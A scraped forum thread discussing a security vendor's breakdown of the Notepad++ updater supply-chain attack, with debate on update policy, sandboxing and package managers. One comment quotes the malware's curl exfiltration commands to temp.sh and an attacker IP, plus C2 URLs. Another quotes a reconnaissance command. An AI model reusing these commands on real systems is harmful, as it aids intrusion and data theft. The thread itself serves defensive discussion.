Notepad++ supply chain attack breakdown

https://securelist.com/notepad-supply-chain-attack/118708/

by natebc • 6 months ago

384 188 6 months ago

troad5• 6 months ago

It now seems to be best practice to simultaneously keep things updated (to avoid newly discovered vulnerabilities), but also not update them too much (to avoid supply chain attacks). Honestly not sure how I'm meant to action those at the same time.

TingPing2• 6 months ago

I feel like supply chain attacks are the much rarer situation than real world exploits but I don’t have numbers.

krater232• 6 months ago

Supply chain attacks have impact on more systems, so it's more likely that your system is one of it. Opening a poisoned textfile that contains a exploit that attacks your text editor and fits exactly to your version is a rare event compared to automatically contacting a server to ask for a executable to execute without asking you.

GauntletWizard• 6 months ago

Unless there's an announcement of a zero day, update a month after each new release. Keeps you on a recent version while giving security systems and researchers time to detect threats.

worksonmine2• 6 months ago

Debian stable. If you need something to be on the bleeding edge install it from backports or build from source. But keep most of your system boring and stable. It has worked fine for me for years.

krater232• 6 months ago

As long as you do regulary updates of your debian stable, you are not secured against supply chain attacks.

taftster2• 6 months ago

In the early days, updates quite often made systems less stable, by a demonstrable margin. My dad once turned off all updates on his Windows machine, with the ensuing peril that you can imagine.

Sadly, it feels like Microsoft updates lately have trended back towards being unreliable and even user hostile. It's messed up if you update and can't boot your machine afterwards, but here we are. People are going to turn off automatic updates again.

_carbyau_2• 6 months ago

I imagine that it depends on the use case.

Using notepad++ (or whatever other program) in a manner that deals with internet content a lot - then updating is the thing.

Using these tools in a trusted space (local files/network only) : then don't update unless it needs to be different to do what you want.

For many people, something in between because new files/network-tech comes and goes from the internet. So, update occasionally...

gruez6• 6 months ago

Using notepad++ (or whatever other program) in a manner that deals with internet content a lot - then updating is the thing.

Disagree. It's hard to screw up a text editor so much that you have buffer overflows 10 years after it's released, so it's probably safe. It's not impossible, but based on a quick search (though incomplete because google is filled with articles describing this incident) it doesn't look like there were any vulnerabilities that could be exploited by arbitrary input files. The most was some dubious vulnerability around being able to plant plugins.

gruez6• 6 months ago

You basically need to make a trade-off between 0days and supply chain attacks. Browsers, office suite, media players, archivers, and other programs that are connected to the internet and are handling complex file formats? Update regularly, or at least keep an eye out for CVEs. A text editor, or any other program that doesn't deal with risky data? You're probably fine with auto update turned off

Marsymars• 6 months ago

The easiest way to action as a user seems like it would be to use local package managers that includes something like Dependabot's cooldown config. I'm not aware of any local package managers that do something like this?

https://docs.github.com/en/code-security/reference/supply-ch...

ashishb4• 6 months ago

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in.

There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

taftster2• 6 months ago

I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox.

Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.

josephg3• 6 months ago

I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me.

iOS and Android both implement these security policies correctly. Why can't desktop operating systems?

TiredOfLife2• 6 months ago

They tried. And the rent seekers made a huge noise against

troad5• 6 months ago

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions.

Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.

its_magic3• 6 months ago

I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

There is no such thing as computer security, in general, at this point in history.

symaxian• 6 months ago

Sand-boxing such as in Snap and Flatpak?

jacobgkau2• 6 months ago

getting a lot of slack recently

I think you mean a lot of flak? Slack would kind of be the opposite.

ashishb4• 6 months ago

It also has persistent permissions.

Think about it from a real world perspective.

I knock on your door. You invite me to sit with you in your living room. I can't easily sneak into your bed room. Further, your temporary access ends as soon as you exit my house.

The same should happen with apps.

When I run 'notepad dir1/file1.txt', the package should not sneakily be able to access dir2. Further, as soon as I exit the process, the permission to access dir1 should end as well.

black_knight• 6 months ago

I think we could get a lot further if we implement proper capability based security. Meaning that the authority to perform actions follows the objects around. I think that is how we get powerful tools and freedom, but still address the security issues and actually achieve the principle of least privilege.

For FreeBSD there is capsicum, but it seems a bit inflexible to me. Would love to see more experiments on Linux and the BSDs for this.

hibikir• 6 months ago

Yet we look at phones, and we see people accepting outrageous permissions for many apps: They might rely on snooping into you for ads, or anything else, and yet the apps sell, and have no problem staying in stores.

So when it's all said and done, I do not expect practical levels of actual isolation to be that great.

BobbyTables24• 6 months ago

I intensely hate that a stupid application can modify .bashrc and permanently persist itself.

Sure, in theory, SELinux could prevent this. But seems like an uphill battle if my policies conflict with the distro’s. I’d also have to “absorb” their policies’ mental model first…

TheChaplain• 6 months ago

Linux people are very resistant to this

Because security people often does not know the balance between security and usability, and we end up with software that is crippled and annoying to use.

bsder• 6 months ago

Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps.

Linux people are NOT resistant to this. Atomic desktops are picking up momentum and people are screaming for it. Snaps, flatpaks, appimages, etc. are all moving in that direction.

As for plain development, sadly, the OS developers are simply ignoring the people asking. See:

https://github.com/containers/toolbox/issues/183

https://github.com/containers/toolbox/issues/348

https://github.com/containers/toolbox/issues/1470

I'll leave it up to you to speculate why.

Perhaps getting a bit of black eye and some negative attention from the Great Orange Website(tm) can light a fire under some folks.

cxr• 6 months ago

It's truly perverse that, at the same time that desktop systems are trying to lock down what trusted, conventional native apps can and cannot do and/or access, you have the Chrome team pushing out proposals to expand what browsers allow websites to do to the user's file system, like silently/arbitrarily reading and writing to the user's disk—gated only behind a "Are you sure you want to allow this? Y/N"-style dialog that, for extremely good reasons, anyone with any sense about design and interaction has strongly opposed for the last 20+ years.

ddtaylor3• 6 months ago

Flatpak

BobbyTables24• 6 months ago

A sandbox in Windows? How?

Semaphor• 6 months ago

https://learn.microsoft.com/en-us/windows/security/applicati...

Or the easier way with an external tool is using Sandboxie: https://sandboxie-plus.com/

pjc502• 6 months ago

Not what the OP is referring to, but UWP and successor apps were always sandboxed, from the time of Windows 8 onwards. This was derived from the Windows Mobile model, which in turn was emulating the Android/iOS app model.

gus_• 6 months ago

running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.

    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin

bluenose69• 6 months ago

The article starts out by saying that Notepad++ "is a text editor popular among developers". Really?

maxpert• 6 months ago

LOL I guess the editors using Notepad++ downvoted you :P

TingPing2• 6 months ago

Literally yes: https://survey.stackoverflow.co/2025/

da_chicken2• 6 months ago

This might be a better link: https://survey.stackoverflow.co/2025/technology#1-dev-id-es

It's listed as the third most popular IDE after Visual Studio Code and Visual Studio by respondents to Stack Overflow's annual survey. Interestingly, it's higher among professionals than learners. Maybe that's because learners are going to be using some of those newer AI-adjacent editors, or because learners are less likely to be using Windows at all.

I'm sure people will leap to the defense of their chosen text editor, like they always do. "Oh, they separated vim and Neovim! Those are basically the same! I can combine those, really, to get a better score!" But I think a better takeaway is that it's incredible that Notepad++, an open source application exclusive to Windows that has had, basically, a single developer over the course of 22 years, has managed to reach such a widespread audience. Especially when Scintilla's other related editors (SciTE, EditPlus) essentially don't rate.

kotaKat• 6 months ago

First three things I install on any machine - 7zip, Notepad++, alternate browser.

LostMyWords• 6 months ago

Yes, but I start with the browser. What are the Notepad++ alternatives on Linux and MacOS, for those times when I have to use them?

kbelder• 6 months ago

Same, but additionally Irfanview. And once upon a time, Media Player Classic used to be on that list.

This train of thought made me go find https://www.oldversion.com/. For a while, that was invaluable.

whynotmaybe• 6 months ago

Same, I use ninite for that.

billforsternz• 6 months ago

I enjoy coding something new up in Notepad++, without any annoying autocomplete and jank. I call it unplugged (acoustic?) mode. Jeepers Visual Studio these days starts autocompleting if and while for example and sometimes doesn't respect normal keystrokes because it expects me to complete these kind of interactions instead.

jamesfinlayson• 6 months ago

I don't do a whole lot of development with it but if I need to open a random code file then it's much better than plain old Notepad.

Willish42• 6 months ago

cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

Naive question, but isn't this relatively safe information to expose for this level of attack? I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info? Still, that seems like a lot of effort just to get this data.

thatfunkymunki• 6 months ago

it's not "just to get that data", it's to confirm level of access, check for potential other exploiters or security software, identify the machine you have access to, identify what the machine has network connectivity to, etc. The attacker then maintains the c2 channel and can then perform their actual objective with the help of the data they have obtained.

gruez6• 6 months ago

I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info?

You don't need 0days when you already have RCE on an unsandboxed system.

porise• 6 months ago

I guess package managers win in the end. I got two emails from my IT department in the last year telling me to immediately update it.

Someone1234• 6 months ago

I'm out of the loop: How did they bypass Notepad++'s digital signatures? I just downloaded it to double-check, and the installer is signed with a valid code-signing certificate.

Avicebron• 6 months ago

https://notepad-plus-plus.org/news/8.8.2-available-in-1-week...

anonymars• 6 months ago

Jeez, they didn't waste any time, did they? No more signing certificate in June, compromise in July

DANmode5• 6 months ago

we’re hopeful we can find a solution ASAP!

Never meet your heroes.

gruez6• 6 months ago

The updater doesn't check the certificate of the updated installer, it just executes whatever.

tonymet8• 6 months ago

I noticed I had version 8.9 on Dec 28, 2025 and it seems clean according to

https://arstechnica.com/security/2026/02/notepad-updater-was...

I recommend removing notepad++ and installing via winget which installs the EXE directly without the winGUP updater service.

Here's an AI summary explaining who is affected.

Affected Versions: All versions of Notepad++ released prior to version 8.8.9 are considered potentially affected if an update was initiated during the compromise window.

Compromise Window: Between June 2025 and December 2, 2025.

Specific Risk: Users running older versions that utilized the WinGUp update tool were vulnerable to being redirected to malicious servers. These servers delivered trojanized installers containing a custom backdoor dubbed Chrysalis.

Soerensen• 6 months ago

The WinGUp updater compromise is a textbook example of why update mechanisms are such high-value targets. Attackers get code execution on machines that specifically trust the update channel.

What's concerning is the 6-month window. Supply chain attacks are difficult to detect because the malicious code runs with full user permissions from a "trusted" source. Most endpoint protection isn't designed to flag software from a legitimate publisher's update infrastructure.

For organizations, this argues for staged rollouts and network monitoring for unexpected outbound connections from common applications. For individuals, package managers with cryptographic verification at least add another barrier - though obviously not bulletproof either.

kijin8• 6 months ago

The lack of a well-known, well-designed package manager for Windows has always been a problem. Too many programs, including FOSS programs, are downloaded from suspicious-looking websites with tons of ads, and every app updates itself in a different way.

The crappy installation and update channels are often tightly integrated with the vendors' monetization strategies, so there's a huge amount of inertia.

Microsoft Store could have changed this situation, had it been better designed and better received. Unfortunately, nobody seems to use it unless they have no other choice.

WinGet looks much better, but so far it's only for developers and power users.

ziml772• 6 months ago

The Microsoft store would have needed proper vetting and support for normal desktop apps from day 1 for it to actually have been a good option. Also, not requiring the system be set up with an online account would have been helpful for adoption.

I can't say it would have guaranteed people would have liked it, just that those were needed for it to have a chance.

xvilka• 6 months ago

There are always Chocolatey and Scoop.

themafia3• 6 months ago

Do you really need the entire walled garden of the store? It's not impervious just harder to attack but due to it's scale and value it will be constantly attacked. Not a great trade.

What happened to just good old OS APIs? You could wrap the entire "secure update" process into a function call. Does Windows somehow not already have this?

pjc502• 6 months ago

The stupid thing is that a packaging system - MSI and later MSIX - has existed for a long time. But the tooling for it, to put things into packages, is a mess; nor is there a single tool even for Microsoft's own stuff. They really need to get onto dogfooding this stuff.

But then, in an environment dominated by corporate IT who have no real means of switching, why improve the product?

red_admiral• 6 months ago

Microsoft Store could have changed this situation

Don't you need to create a Microsoft account to use it? That makes sense for a store where you buy apps with money, but not for a package manager for free software like Notepad++.

P.S. I'm waiting for the day you need a registered Ubuntu account to use their snap store :(

kwanbix• 6 months ago

Honest question. Are you telling me this has never happened to Linux? I seem to recall a situation where the source code was compromised. But maybe I am wrong.

3371• 6 months ago

Hey, just wanna remind people Google Play is full of crap.

Erlangen• 6 months ago

Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

Could this be the attacker? The scan happened before the hack was first exposed on the forum.

gruez6• 6 months ago

You would be a dumbass to do that, because virustotal allows security researchers to see submitted samples/urls. The last thing you want to do is to draw attention to your C&C server.

wyldberry• 6 months ago

It's not uncommon to use VT and other sandbox tools as a proxy indicator for if your attacks have tripped defenders and tooling.

yodon• 6 months ago

Is there a "detect infection and clean it up" app from a reputable source yet (beyond the "version 8.8.8 is bad" designator)?

kijin8• 6 months ago

The only way to clean up an infected Windows system is to wipe your disk and reinstall the OS.

There are so many nooks and crannies where malware can hide, and Windows doesn't enforce any boundaries that can't be crossed with a trivial UAC dialog.

ziml772• 6 months ago

I'd say it's more true on Linux that malware can hide anywhere if you allow a sudo prompt (which people have been unfortunately been trained is normal when installing software).

Windows enforces driver signing and has a deeper access control system that means a root account doesn't even truly exist. The SYSTEM pseudo-account looks like it should be that, but you can actually set up ACLs that make files untouchable by it. In fact if you check the files in System32, they are only writable by TrustedInstaller. A user's administrative token and SYSTEM have no access those files.

But when it comes down to it, I wouldn't trust any system that has had malware on it. At the very least I'd do a complete reinstall. It might even be worth re-flashing the firmware of all components of the system too, but the chances of those also being infected are lower as long as signed firmware is required.

tonymet8• 6 months ago

This hasn’t been true for 15 years

tonymet8• 6 months ago

Run MS Defender offline mode .

indigodaddy• 6 months ago

So if one were theoretically infected right now, would a Malwarebytes scan indicate as such?

krackers• 6 months ago

OP post has an indicators of compromise list, also seen in https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-...

I'm surprised this wasn't linked from the original notepad++ disclosure

krige• 6 months ago

If you can get Malwarebytes to scan anything. It has been such a victim of enshittification, it's not remotely as useful as it were several years ago.

TurboSkyline• 6 months ago

In what ways? I'm still using it the same way I was 10 years ago—on-demand scans of individual files—and it seems to work just as well.

nightshift1• 6 months ago

Other source: https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-...

ChrisArchitect• 6 months ago

Notepad++ hijacked by state-sponsored actors

https://news.ycombinator.com/item?id=46851548

iJohnDoe• 6 months ago

FTA - The original person posting about the unusual behavior was truly helpful.

https://community.notepad-plus-plus.org/topic/27212/autoupda...

Thankfully the responses weren’t outright dismissive, which is usually the case in these situations.

It was thought to be a local compromise and nothing to do Notepad++.

Good lessons to be learned here. Don’t be quick to dismiss things simply because it doesn’t fit what you think should be happening. That’s the whole point. It doesn’t fit, so investigate why.

Most tech support aims to prove the person wrong right out the gate.

Panzerschrek2• 6 months ago

Why a simple text editor requires auto-updates at all?

ddtaylor3• 6 months ago

Because Windows users don't have basic package management that anyone can use and they probably got tired of idiots getting malware trying to Google random Notepad++ binaries. It's turtles all the way down.

Panzerschrek2• 6 months ago

This not answers my question. I just don't see any necessity to update an editor like Notepad++ at all. Such programs are usually stable and there is no need to add new features constantly. Even security vulnerabilities don't matter much, since a text editor isn't that critical piece of software.

My Notepad++ installation, for example, is 5 years old and it's fine for me.

benterix• 6 months ago

I use Notepad++ as a Notepad replacement. I never understood why the network connectivity is enabled by default at all. The first thing I did was to disable it as the constant nagging interrupted my flow (VS Code would do the same thing BTW). I currently have a version from 2020 I'm very happy with.

If one day, maybe in 10 or 20 years time, I feel Notepad++ lacks something and I decide to upgrade, I will do it myself, I don't need a handy helper.

pjmlp4• 6 months ago

Notepad++ is one of my favourite editors, now it is forbidden by IT and checked for on security compliance checks if still installed, thanks to this attack.

hypeatei• 6 months ago

Yeah, the trust has been burned and the blog post wasn't very reassuring. Safe to say that it will be a long time before it's built back up.

SideburnsOfDoom2• 6 months ago

Notepad++ is one of my favourite editors

Same, but there are 2 basic key features - tabs, and spell check. There are other nice-to-haves but these are the big ones.

Notepad has those features too now.

Notepad also has a *#&!$ CoPilot button, but at least you can still turn that off the in the settings.

pjmlp4• 6 months ago

You are missing what are actually relevant for me, syntax highlighting, tab completion, projects, and plugins.

Notepad has nothing of that.

gethly• 6 months ago

I just checked, I'm on version 8.8.8. With TinyWall firewall, it has no access to the internet without my explicit say so. This is why constantly trying to be on the bleeding edge of last updates will more likely bite you in the ass than leave your system/program open to attack with some unpatched vulnerability. Look at Windows 11 updates lately. I bet most users would be gladly behind with their updates right now.

stanfordkid• 6 months ago

Shouldn't public signature of the hash of the exe file from a known key before execution fix this??? What am I missing?

_zagj3• 6 months ago

This is the nudge I needed to stop using VSCodium completely. (No offense to its devs, mind you, who seem to much better have their act together.)

DANmode5• 6 months ago

Why?

_zagj3• 6 months ago

VSCode is the most popular IDE right now, making it and its telemetry-free derivative (and their overlapping extension ecosystem) too juicy of a target for a supply chain attack. Over 75% of devs use VSCode, according to the SO survey. And there's also the potential of Codium itself being targeted, despite it currently having a small userbase by comparison, which could easily change as MSFT does to VSCode what it did to Windows. Also, I predict MSFT is going to make it progressively more difficult for the Codium devs to completely strip anti-privacy "features" from VSCode upstream.

fjnrnfjfn• 6 months ago

The Notepad++ auto updater was quit bad

* Enabled by default * No use of verification of the either the update metadata nor the update payload itself

Looks like someone wanted to write an auto updater without having the knowledge to do so properly

Very sad

bdavbdav3• 6 months ago

Or the TLS cert of the update server seemingly?

bdavbdav3• 6 months ago

I get that the installer dropped the app cert, but how did the MITM’d download server pass TLS cert validation? Either they weren’t validating (why???) or they weren’t using HTTPS (why???)

Notepad++ supply chain attack breakdown

Related Stories